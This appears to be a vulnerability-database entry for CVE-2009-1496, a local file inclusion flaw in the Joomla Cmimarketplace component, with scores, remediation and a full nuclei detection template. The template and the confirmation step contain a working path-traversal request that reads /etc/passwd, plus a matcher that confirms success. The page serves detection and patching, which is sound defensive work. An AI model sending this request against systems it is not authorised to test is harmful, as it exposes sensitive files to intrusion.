HexBrain

Browse / CVEs / CVE-2009-1496

CVE-2009-1496· joomla / joomla· CWE-22

Joomla! Cmimarketplace 0.1 - Local File Inclusion

mediumseverity
5CVSS score
7.2%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it

Joomla! Cmimarketplace 0.1 is susceptible to local file inclusion because com_cmimarketplace allows remote attackers to list arbitrary directories via a .. (dot dot) in the viewit parameter to index.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.

Fix

Apply the latest patch or upgrade to a newer version of Joomla! Cmimarketplace to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_cmimarketplace&Itemid=70&viewit=/../../../../../../etc/passwd&cid=1
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2009-1496 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2009-1496

info:
  name: Joomla! Cmimarketplace 0.1 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: |
    Joomla! Cmimarketplace 0.1 is susceptible to local file inclusion because com_cmimarketplace allows remote attackers to list arbitrary directories via a .. (dot dot) in the viewit parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.
  remediation: |
    Apply the latest patch or upgrade to a newer version of Joomla! Cmimarketplace to mitigate the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/8367
    - https://nvd.nist.gov/vuln/detail/CVE-2009-1496
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2009-1496
    cwe-id: CWE-22
    epss-score: 0.07183
    epss-percentile: 0.94351
    cpe: cpe:2.3:a:joomla:joomla:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla
    product: joomla
  tags: cve2009,cve,joomla,lfi,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_cmimarketplace&Itemid=70&viewit=/../../../../../../etc/passwd&cid=1"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from